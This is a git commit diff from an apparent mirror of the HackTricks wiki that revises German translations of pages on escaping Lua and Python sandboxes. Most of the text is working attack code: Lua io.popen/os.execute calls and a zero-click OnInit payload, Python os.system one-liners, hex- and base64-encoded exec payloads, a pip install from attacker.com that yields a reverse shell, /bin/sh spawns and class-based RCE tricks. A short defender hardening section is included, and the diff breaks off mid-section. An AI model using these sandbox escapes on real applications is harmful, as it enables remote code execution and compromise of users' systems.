mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/windows-local-privilege-escalation/pr
This commit is contained in:
parent
90a2082c59
commit
770c45d00e
@ -1,18 +1,18 @@
|
||||
# Bypass Lua sandboxes (eingebettete VMs, game clients)
|
||||
# Bypass Lua sandboxes (embedded VMs, game clients)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Diese Seite sammelt praktische Techniken, um Lua "sandboxes" zu enumerieren und aus ihnen auszubrechen, wenn sie in Anwendungen eingebettet sind (insbesondere game clients, plugins oder in-app scripting engines). Viele Engines stellen eine eingeschränkte Lua-Umgebung bereit, lassen jedoch mächtige globals erreichbar, die beliebige Kommandoausführung oder sogar native memory corruption ermöglichen, wenn bytecode loaders exposed sind.
|
||||
Diese Seite sammelt praktische Techniken, um Lua "sandboxes" zu enumerieren und auszubrechen, die in Anwendungen eingebettet sind (insbesondere game clients, plugins oder in-app scripting engines). Viele Engines exponieren eine eingeschränkte Lua-Umgebung, lassen jedoch mächtige globals erreichbar, die arbitrary command execution oder sogar native memory corruption ermöglichen, wenn bytecode loaders exponiert sind.
|
||||
|
||||
Kernideen:
|
||||
- Behandle die VM als unbekannte Umgebung: enumerate _G und finde heraus, welche gefährlichen Primitives erreichbar sind.
|
||||
- Wenn stdout/print blockiert ist, missbrauche jeden in-VM UI/IPC-Kanal als Ausgabe-Senke, um Ergebnisse zu beobachten.
|
||||
- Wenn io/os exposed ist, hat man oft direkte Kommandoausführung (io.popen, os.execute).
|
||||
- Wenn load/loadstring/loadfile exposed sind, kann das Ausführen von präpariertem Lua-Bytecode die Speichersicherheit in manchen Versionen unterlaufen (≤5.1 verifiers sind bypassable; 5.2 removed verifier) und so fortgeschrittene Exploitation ermöglichen.
|
||||
- Behandle die VM als unbekannte Umgebung: enumerate _G und entdecke, welche gefährlichen primitives erreichbar sind.
|
||||
- Wenn stdout/print blockiert ist, missbrauche beliebige in-VM UI/IPC-Kanäle als Ausgabe-Senke, um Ergebnisse zu beobachten.
|
||||
- Wenn io/os exponiert sind, hast du oft direkte Kommandoausführung (io.popen, os.execute).
|
||||
- Wenn load/loadstring/loadfile exponiert sind, kann das Ausführen speziell erzeugten Lua bytecode die memory safety in einigen Versionen unterlaufen (≤5.1 Verifier sind bypassable; 5.2 entfernte den Verifier) und somit advanced exploitation ermöglichen.
|
||||
|
||||
## Enumerate the sandboxed environment
|
||||
## Sandbox-Umgebung enumerieren
|
||||
|
||||
- Dump the global environment to inventory reachable tables/functions:
|
||||
- Gib die globale Umgebung aus, um erreichbare tables/functions zu inventarisieren:
|
||||
```lua
|
||||
-- Minimal _G dumper for any Lua sandbox with some output primitive `out`
|
||||
local function dump_globals(out)
|
||||
@ -22,7 +22,7 @@ out(tostring(k) .. " = " .. tostring(v))
|
||||
end
|
||||
end
|
||||
```
|
||||
- Wenn kein print() verfügbar ist, nutze in-VM-Kanäle. Beispiel aus einer MMO housing script VM, in der chat output nur nach einem sound call funktioniert; das Folgende baut eine verlässliche Ausgabefunktion auf:
|
||||
- Wenn kein print() verfügbar ist, zweckentfremde in-VM channels. Beispiel aus einer MMO housing script VM, in der Chat-Ausgabe erst nach einem Sound-Aufruf funktioniert; das Folgende baut eine zuverlässige Ausgabefunktion:
|
||||
```lua
|
||||
-- Build an output channel using in-game primitives
|
||||
local function ButlerOut(label)
|
||||
@ -39,11 +39,11 @@ local out = ButlerOut(1)
|
||||
dump_globals(out)
|
||||
end
|
||||
```
|
||||
Verallgemeinere dieses Muster für dein Ziel: jedes Textfeld, toast, logger oder UI-Callback, das strings akzeptiert, kann als stdout für reconnaissance dienen.
|
||||
Verallgemeinere dieses Muster für dein Ziel: beliebige textbox, toast, logger oder UI callback, die Strings akzeptieren, können als stdout für reconnaissance dienen.
|
||||
|
||||
## Direkte Kommandoausführung, wenn io/os exponiert sind
|
||||
## Direkte Befehlsausführung, wenn io/os exponiert sind
|
||||
|
||||
Wenn die Sandbox weiterhin die Standardbibliotheken io oder os exponiert, hast du wahrscheinlich sofortige Kommandoausführung:
|
||||
Wenn die Sandbox weiterhin die Standardbibliotheken io oder os freigibt, hast du wahrscheinlich sofortige Befehlsausführung:
|
||||
```lua
|
||||
-- Windows example
|
||||
io.popen("calc.exe")
|
||||
@ -53,26 +53,26 @@ os.execute("/usr/bin/id")
|
||||
io.popen("/bin/sh -c 'id'")
|
||||
```
|
||||
Hinweise:
|
||||
- Die Ausführung erfolgt im Client-Prozess; viele anti-cheat/antidebug-Schichten, die externe Debugger blockieren, verhindern nicht die in-VM-Prozesserstellung.
|
||||
- Ebenfalls prüfen: package.loadlib (beliebiges Laden von DLL/.so), require mit nativen Modulen, LuaJIT's ffi (falls vorhanden) und die debug library (kann innerhalb der VM Privilegien erhöhen).
|
||||
- Die Ausführung erfolgt innerhalb des Client-Prozesses; viele anti-cheat/antidebug layers, die externe Debugger blockieren, verhindern nicht die Erstellung von Prozessen innerhalb der VM.
|
||||
- Ebenfalls prüfen: package.loadlib (arbitrary DLL/.so loading), require with native modules, LuaJIT's ffi (if present), und die debug library (kann Privilegien innerhalb der VM erhöhen).
|
||||
|
||||
## Zero-click-Trigger via auto-run callbacks
|
||||
## Zero-click triggers via auto-run callbacks
|
||||
|
||||
Wenn die Host-Anwendung Skripte an Clients verteilt und die VM auto-run hooks (z. B. OnInit/OnLoad/OnEnter) bereitstellt, platziere dein payload dort für einen drive-by compromise, sobald das Skript geladen wird:
|
||||
Wenn die Host-Anwendung Skripte an Clients verteilt und die VM auto-run hooks bereitstellt (z. B. OnInit/OnLoad/OnEnter), platziere dein payload dort für drive-by compromise, sobald das Skript geladen wird:
|
||||
```lua
|
||||
function OnInit()
|
||||
io.popen("calc.exe") -- or any command
|
||||
end
|
||||
```
|
||||
Jeder äquivalente Callback (OnLoad, OnEnter, etc.) verallgemeinert diese Technik, wenn Skripte automatisch an den client übertragen und dort ausgeführt werden.
|
||||
Any equivalent callback (OnLoad, OnEnter, etc.) verallgemeinert diese Technik, wenn Skripte automatisch an den client übertragen und dort ausgeführt werden.
|
||||
|
||||
## Gefährliche Primitive, die man während recon aufspüren sollte
|
||||
## Dangerous primitives to hunt during recon
|
||||
|
||||
Während der _G-Aufzählung solltest du insbesondere auf Folgendes achten:
|
||||
- io, os: io.popen, os.execute, file I/O, env access.
|
||||
- load, loadstring, loadfile, dofile: führt Source oder Bytecode aus; unterstützt das Laden von nicht vertrauenswürdigem Bytecode.
|
||||
- package, package.loadlib, require: dynamisches Laden von Bibliotheken und Modul-Schnittstelle.
|
||||
- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo und hooks.
|
||||
Während der Enumeration von _G, achte speziell auf:
|
||||
- io, os: io.popen, os.execute, Datei-I/O, Zugriff auf Umgebungsvariablen.
|
||||
- load, loadstring, loadfile, dofile: führen Source oder Bytecode aus; unterstützen das Laden von nicht vertrauenswürdigem Bytecode.
|
||||
- package, package.loadlib, require: dynamisches Laden von Libraries und die Moduloberfläche.
|
||||
- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo und Hooks.
|
||||
- LuaJIT-only: ffi.cdef, ffi.load, um nativen Code direkt aufzurufen.
|
||||
|
||||
Minimale Nutzungsbeispiele (falls erreichbar):
|
||||
@ -90,20 +90,20 @@ print(g())
|
||||
local mylib = package.loadlib("./libfoo.so", "luaopen_foo")
|
||||
local foo = mylib()
|
||||
```
|
||||
## Optionale Eskalation: Missbrauch von Lua-Bytecode-Loadern
|
||||
## Optionale Eskalation: Ausnutzen von Lua-Bytecode-Loadern
|
||||
|
||||
Wenn load/loadstring/loadfile erreichbar sind, aber io/os eingeschränkt sind, kann die Ausführung von crafted Lua bytecode zu memory disclosure und corruption primitives führen. Wichtige Fakten:
|
||||
- Lua ≤ 5.1 enthielt einen bytecode verifier, der bekannte bypasses aufweist.
|
||||
- Lua 5.2 entfernte den verifier vollständig (offizielle Haltung: Anwendungen sollten einfach precompiled chunks ablehnen), wodurch die Angriffsfläche größer wird, falls bytecode loading nicht verboten ist.
|
||||
- Typische Workflows: leak pointers via in-VM output, craft bytecode to create type confusions (z. B. rund um FORLOOP oder andere opcodes), und dann auf arbitrary read/write oder native code execution übergehen.
|
||||
Wenn load/loadstring/loadfile erreichbar sind, aber io/os eingeschränkt sind, kann die Ausführung von speziell erzeugtem Lua-Bytecode zu Speicheroffenlegung und Korruptionsprimitiven führen. Wesentliche Fakten:
|
||||
- Lua ≤ 5.1 enthielt einen Bytecode-Verifier, der bekannte Bypässe hat.
|
||||
- Lua 5.2 entfernte den Verifier vollständig (offizielle Position: Anwendungen sollten vorkompilierte Chunks einfach ablehnen), wodurch die Angriffsfläche größer wird, falls Bytecode-Loading nicht verboten ist.
|
||||
- Typische Workflows: leak pointers via in-VM output, Bytecode konstruieren, um type confusions zu erzeugen (z. B. rund um FORLOOP oder andere opcodes), und dann zu arbitrary read/write oder native code execution pivotieren.
|
||||
|
||||
Dieser Weg ist engine/version-specific und erfordert RE. Siehe Referenzen für deep dives, exploitation primitives und Beispiel-Gadgetry in Spielen.
|
||||
Dieser Weg ist engine-/versionsspezifisch und erfordert RE. Siehe Referenzen für tiefere Analysen, Exploitation-Primitives und Beispiel-Gadgetry in Spielen.
|
||||
|
||||
## Erkennungs- und Härtungshinweise (für Verteidiger)
|
||||
|
||||
- Serverseitig: reject or rewrite user scripts; allowlist safe APIs; strip or bind-empty io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi.
|
||||
- Clientseitig: Lua mit einem minimalen _ENV ausführen, bytecode loading verbieten, einen strikten bytecode verifier oder Signaturprüfungen wieder einführen und die Prozess-Erzeugung vom Client-Prozess aus blockieren.
|
||||
- Telemetrie: Alarm bei gameclient → child process creation kurz nach script load; mit UI/chat/script-Ereignissen korrelieren.
|
||||
- Serverseitig: Benutzer-Skripte ablehnen oder umschreiben; allowlist sichere APIs; io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi entfernen oder mit leeren Bindings versehen.
|
||||
- Clientseitig: Lua mit einem minimalen _ENV ausführen, Bytecode-Loading verbieten, einen strikten Bytecode-Verifier oder Signaturprüfungen wieder einführen und Prozess-Erzeugung aus dem Client-Prozess blockieren.
|
||||
- Telemetrie: Alarm bei gameclient → child process creation kurz nach dem Laden eines Skripts; korrelieren mit UI/chat/script-Ereignissen.
|
||||
|
||||
## Referenzen
|
||||
|
||||
|
@ -1,13 +1,13 @@
|
||||
# Python-Sandboxes umgehen
|
||||
# Bypass Python sandboxes
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Dies sind einige Tricks, um Python-Sandbox-Schutzmechanismen zu umgehen und beliebige Befehle auszuführen.
|
||||
Dies sind einige Tricks, um python sandbox protections zu umgehen und arbitrary commands auszuführen.
|
||||
|
||||
|
||||
## Bibliotheken zur Befehlsausführung
|
||||
## Command Execution Libraries
|
||||
|
||||
Das Erste, was du wissen musst, ist, ob du Code direkt mit einer bereits importierten Bibliothek ausführen kannst oder ob du eine dieser Bibliotheken importieren kannst:
|
||||
Das Erste, was du wissen musst, ist, ob du Code direkt mit einer bereits importierten library ausführen kannst oder ob du irgendeine dieser libraries importieren könntest:
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
@ -40,20 +40,20 @@ open('/var/www/html/input', 'w').write('123')
|
||||
execfile('/usr/lib/python2.7/os.py')
|
||||
system('ls')
|
||||
```
|
||||
Denk daran, dass die _**open**_ und _**read**_ Funktionen nützlich sein können, um **Dateien innerhalb der python sandbox zu lesen** und um **Code zu schreiben**, den du **ausführen** könntest, um die sandbox zu **bypassen**.
|
||||
Remember that the _**open**_ and _**read**_ functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox.
|
||||
|
||||
> [!CAUTION] > **Python2 input()**-Funktion erlaubt das Ausführen von python code, bevor das Programm abstürzt.
|
||||
> [!CAUTION] > **Python2 input()** function allows executing python code before the program crashes.
|
||||
|
||||
Python versucht, **Bibliotheken zuerst aus dem aktuellen Verzeichnis zu laden** (folgender Befehl gibt aus, wo Python Module lädt): `python3 -c 'import sys; print(sys.path)'`
|
||||
Python versucht, **Bibliotheken zuerst aus dem aktuellen Verzeichnis zu laden** (der folgende Befehl gibt aus, von wo python Module lädt): `python3 -c 'import sys; print(sys.path)'`
|
||||
|
||||
.png>)
|
||||
|
||||
## Bypass pickle sandbox mit den standardmäßig installierten python packages
|
||||
## Bypass pickle sandbox with the default installed python packages
|
||||
|
||||
### Standardpakete
|
||||
### Standard-Pakete
|
||||
|
||||
Du findest eine **Liste vorinstallierter** Packages hier: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Beachte, dass du aus einem pickle die python env dazu bringen kannst, **beliebige auf dem System installierte libraries zu importieren**.\
|
||||
Eine **Liste der vorinstallierten** Pakete findest du hier: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Beachte, dass du aus einem pickle die python-Umgebung veranlassen kannst, **beliebige im System installierte Libraries zu importieren**.\
|
||||
Zum Beispiel wird das folgende pickle beim Laden die pip library importieren, um sie zu verwenden:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
@ -73,24 +73,24 @@ Für weitere Informationen darüber, wie pickle funktioniert, siehe: [https://ch
|
||||
|
||||
Trick geteilt von **@isHaacK**
|
||||
|
||||
Wenn du Zugriff auf `pip` oder `pip.main()` hast, kannst du ein beliebiges Paket installieren und eine reverse shell erhalten, indem du aufrufst:
|
||||
Wenn Sie Zugriff auf `pip` oder `pip.main()` haben, können Sie ein beliebiges Paket installieren und eine reverse shell erhalten, indem Sie aufrufen:
|
||||
```bash
|
||||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
Du kannst das Paket zum Erstellen der reverse shell hier herunterladen. Bitte beachte, dass du es vor der Verwendung **dekomprimieren, die `setup.py` ändern und deine IP für die reverse shell eintragen** solltest:
|
||||
Du kannst das Paket zum Erstellen der reverse shell hier herunterladen. Bitte beachte, dass du es vor der Verwendung **entpacken, die `setup.py` ändern und deine IP für die reverse shell eintragen** solltest:
|
||||
|
||||
{{#file}}
|
||||
Reverse.tar (1).gz
|
||||
{{#endfile}}
|
||||
|
||||
> [!TIP]
|
||||
> Dieses Paket heißt `Reverse`. Es wurde jedoch speziell so erstellt, dass beim Beenden der reverse shell die restliche Installation fehlschlägt, sodass du beim Verlassen **keine zusätzlichen python-Pakete auf dem Server zurücklässt**.
|
||||
> Dieses Paket heißt `Reverse`. Es wurde jedoch speziell so erstellt, dass, wenn du die reverse shell verlässt, der Rest der Installation fehlschlägt, sodass du **kein zusätzliches python package auf dem Server** zurücklässt, wenn du gehst.
|
||||
|
||||
## Eval-ing python code
|
||||
|
||||
> [!WARNING]
|
||||
> Beachte, dass exec mehrzeilige Strings und ";\" erlaubt, eval jedoch nicht (siehe walrus operator)
|
||||
> Beachte, dass exec Mehrzeilenstrings und ";" erlaubt, aber eval nicht (siehe walrus operator)
|
||||
|
||||
Wenn bestimmte Zeichen verboten sind, kannst du die **hex/octal/B64**-Darstellung verwenden, um die Einschränkung zu **bypass**:
|
||||
```python
|
||||
@ -113,7 +113,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
|
||||
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
|
||||
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
|
||||
```
|
||||
### Weitere Bibliotheken, die eval python code erlauben
|
||||
### Andere Bibliotheken, die das Ausführen von python-Code mittels eval erlauben
|
||||
```python
|
||||
#Pandas
|
||||
import pandas as pd
|
||||
@ -127,9 +127,9 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
|
||||
# Like:
|
||||
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
|
||||
```
|
||||
Siehe auch ein reales Beispiel für einen Escape aus einem sandboxed evaluator in PDF-Generatoren:
|
||||
Siehe auch einen realen sandboxed evaluator escape in PDF-Generatoren:
|
||||
|
||||
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Dabei wird rl_safe_eval missbraucht, um über ausgewertete Attribute (zum Beispiel font color) auf function.__globals__ und os.system zuzugreifen und einen gültigen Wert zurückzugeben, damit das Rendering stabil bleibt.
|
||||
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Dabei missbraucht es rl_safe_eval, um über ausgewertete Attribute (zum Beispiel font color) auf function.__globals__ und os.system zuzugreifen und gibt einen gültigen Wert zurück, um die Darstellung stabil zu halten.
|
||||
|
||||
{{#ref}}
|
||||
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
@ -144,9 +144,9 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
||||
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
||||
```
|
||||
## Umgehung von Schutzmaßnahmen durch Kodierungen (UTF-7)
|
||||
## Schutzmechanismen durch Kodierungen umgehen (UTF-7)
|
||||
|
||||
In [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) wird UFT-7 verwendet, um beliebigen python-Code in einer scheinbaren sandbox zu laden und auszuführen:
|
||||
In [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) wird UFT-7 verwendet, um beliebigen python code in einer scheinbaren sandbox zu laden und auszuführen:
|
||||
```python
|
||||
assert b"+AAo-".decode("utf_7") == "\n"
|
||||
|
||||
@ -157,11 +157,11 @@ return x
|
||||
#+AAo-print(open("/flag.txt").read())
|
||||
""".lstrip()
|
||||
```
|
||||
Es ist außerdem möglich, dies mit anderen Encodings zu umgehen, z. B. `raw_unicode_escape` und `unicode_escape`.
|
||||
Es ist auch möglich, es mithilfe anderer Zeichencodierungen zu umgehen, z. B. `raw_unicode_escape` und `unicode_escape`.
|
||||
|
||||
## Python-Ausführung ohne Aufrufe
|
||||
|
||||
Wenn du dich in einer Python-Jail befindest, die es dir **nicht erlaubt, Aufrufe zu tätigen**, gibt es trotzdem einige Wege, **beliebige Funktionen, Code** und **Befehle** auszuführen.
|
||||
Wenn Sie sich in einem Python-Jail befinden, das **es Ihnen nicht erlaubt, Aufrufe durchzuführen**, gibt es trotzdem einige Möglichkeiten, **beliebige Funktionen, Code** und **Befehle** auszuführen.
|
||||
|
||||
### RCE mit [decorators](https://docs.python.org/3/glossary.html#term-decorator)
|
||||
```python
|
||||
@ -187,11 +187,11 @@ class _:pass
|
||||
```
|
||||
### RCE Erstellen von Objekten und Überladen
|
||||
|
||||
Wenn du eine **class** deklarieren und ein **object** dieser class erstellen kannst, könntest du verschiedene **methods** schreiben/überschreiben, die **ausgelöst** werden können, **ohne** sie direkt aufrufen zu **müssen**.
|
||||
Wenn du **eine Klasse deklarieren** und **ein Objekt dieser Klasse erstellen** kannst, könntest du **verschiedene Methoden schreiben/überschreiben**, die **ausgelöst werden können**, **ohne** **sie direkt aufrufen zu müssen**.
|
||||
|
||||
#### RCE with custom classes
|
||||
#### RCE mit benutzerdefinierten Klassen
|
||||
|
||||
Du kannst einige **class methods** ändern (_indem du bestehende class methods überschreibst oder eine neue class erstellst_), um sie so zu gestalten, dass sie **beliebigen Code ausführen**, wenn sie **ausgelöst** werden, ohne sie direkt aufzurufen.
|
||||
Du kannst einige **Klassenmethoden** (_durch Überschreiben vorhandener Klassenmethoden oder durch Erstellen einer neuen Klasse_) so verändern, dass sie **beliebigen Code ausführen**, wenn sie **ausgelöst** werden, ohne sie direkt aufzurufen.
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
@ -241,9 +241,9 @@ __iand__ (k = 'import os; os.system("sh")')
|
||||
__ior__ (k |= 'import os; os.system("sh")')
|
||||
__ixor__ (k ^= 'import os; os.system("sh")')
|
||||
```
|
||||
#### Erstellen von Objekten mit [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||
#### Objekte erstellen mit [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||
|
||||
Das Entscheidende, das metaclasses uns ermöglicht, ist, **make an instance of a class, without calling the constructor** direkt, indem man eine neue Klasse mit der Zielklasse als metaclass erstellt.
|
||||
Das Entscheidende, was metaclasses uns erlauben, ist, **eine Instanz einer Klasse zu erzeugen, ohne direkt den Konstruktor aufzurufen**, indem man eine neue Klasse erstellt, die die Zielklasse als metaclass verwendet.
|
||||
```python
|
||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||||
# This will define the members of the "subclass"
|
||||
@ -258,9 +258,9 @@ Sub['import os; os.system("sh")']
|
||||
|
||||
## You can also use the tricks from the previous section to get RCE with this object
|
||||
```
|
||||
#### Erstellen von Objekten mit Ausnahmen
|
||||
#### Erstellen von Objekten mit exceptions
|
||||
|
||||
Wenn eine **Ausnahme** ausgelöst wird, wird ein Objekt der **Exception** **erstellt**, ohne dass du den Konstruktor direkt aufrufen musst (ein Trick von [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
||||
Wenn eine **exception ausgelöst wird**, wird ein Objekt der **Exception** **erstellt**, ohne dass du den Konstruktor direkt aufrufen musst (ein Trick von [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
||||
```python
|
||||
class RCE(Exception):
|
||||
def __init__(self):
|
||||
@ -302,7 +302,7 @@ __iadd__ = eval
|
||||
__builtins__.__import__ = X
|
||||
{}[1337]
|
||||
```
|
||||
### Datei mit builtins help & license lesen
|
||||
### Datei mit builtins-Hilfe und -Lizenz lesen
|
||||
```python
|
||||
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
||||
a = __builtins__.help
|
||||
@ -316,17 +316,17 @@ pass
|
||||
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
|
||||
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
Wenn Sie auf das Objekt **`__builtins__`** zugreifen können, können Sie Bibliotheken importieren (beachten Sie, dass Sie hier auch andere in der letzten Sektion gezeigte String-Darstellungen verwenden könnten):
|
||||
Wenn Sie auf das **`__builtins__`**-Objekt zugreifen können, können Sie Bibliotheken importieren (beachten Sie, dass Sie hier auch andere String-Darstellungen verwenden könnten, die im letzten Abschnitt gezeigt werden):
|
||||
```python
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
```
|
||||
### Keine Builtins
|
||||
### No Builtins
|
||||
|
||||
Wenn du kein `__builtins__` hast, wirst du nichts importieren können und nicht einmal Dateien lesen oder schreiben, da **alle globalen Funktionen** (wie `open`, `import`, `print`...) **nicht geladen sind**.\
|
||||
Allerdings **importiert python standardmäßig viele Module in den Speicher**. Diese Module mögen harmlos erscheinen, aber einige von ihnen **importieren auch gefährliche** Funktionalitäten in sich, auf die zugegriffen werden kann, um sogar **arbitrary code execution** zu erlangen.
|
||||
Wenn du `__builtins__` nicht hast, wirst du nichts importieren können und nicht einmal Dateien lesen oder schreiben, da **alle globalen Funktionen** (wie `open`, `import`, `print`...) **nicht geladen** sind.\
|
||||
Allerdings importiert **python standardmäßig viele Module in den Speicher**. Diese Module wirken vielleicht harmlos, aber einige von ihnen importieren **auch gefährliche** Funktionalitäten, auf die zugegriffen werden kann, um sogar **arbitrary code execution** zu erlangen.
|
||||
|
||||
In den folgenden Beispielen kannst du beobachten, wie man einige dieser **"harmlos"** geladenen Module **missbraucht**, um auf **gefährliche** **Funktionalitäten** in ihnen zu **zugreifen**.
|
||||
In den folgenden Beispielen kannst du beobachten, wie einige dieser geladenen "**benign**" Module **missbraucht** werden, um auf **gefährliche** **Funktionalitäten** in ihnen zu **zugreifen**.
|
||||
|
||||
**Python2**
|
||||
```python
|
||||
@ -368,9 +368,9 @@ get_flag.__globals__['__builtins__']
|
||||
# Get builtins from loaded classes
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||
```
|
||||
[**Unten befindet sich eine größere Funktion**](#recursive-search-of-builtins-globals), um Dutzende/**Hunderte** von **Stellen** zu finden, an denen du die **builtins** finden kannst.
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) um Dutzende/**Hunderte** von **Stellen** zu finden, an denen du die **builtins** finden kannst.
|
||||
|
||||
#### Python2 und Python3
|
||||
#### Python2 and Python3
|
||||
```python
|
||||
# Recover __builtins__ and make everything easier
|
||||
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
|
||||
@ -384,9 +384,9 @@ __builtins__["__import__"]("os").system("ls")
|
||||
# There are lots of other payloads that can be abused to execute commands
|
||||
# See them below
|
||||
```
|
||||
## Globals and locals
|
||||
## Globals und locals
|
||||
|
||||
Das Überprüfen der **`globals`** und **`locals`** ist eine gute Möglichkeit, herauszufinden, worauf du zugreifen kannst.
|
||||
Das Überprüfen der **`globals`** und **`locals`** ist ein guter Weg, um herauszufinden, worauf man zugreifen kann.
|
||||
```python
|
||||
>>> globals()
|
||||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
||||
@ -410,15 +410,15 @@ class_obj.__init__.__globals__
|
||||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||
```
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **globals**.
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) um Dutzende/**Hunderte** von **Stellen** zu finden, an denen du die **globals** findest.
|
||||
|
||||
## Discover Arbitrary Execution
|
||||
|
||||
Hier möchte ich erklären, wie man einfach **gefährlichere geladene Funktionalitäten** entdeckt und zuverlässigere exploits vorschlägt.
|
||||
Hier möchte ich erklären, wie man einfach **mehr gefährliche, geladene Funktionalitäten** entdeckt und zuverlässigere Exploits vorschlägt.
|
||||
|
||||
#### Accessing subclasses with bypasses
|
||||
|
||||
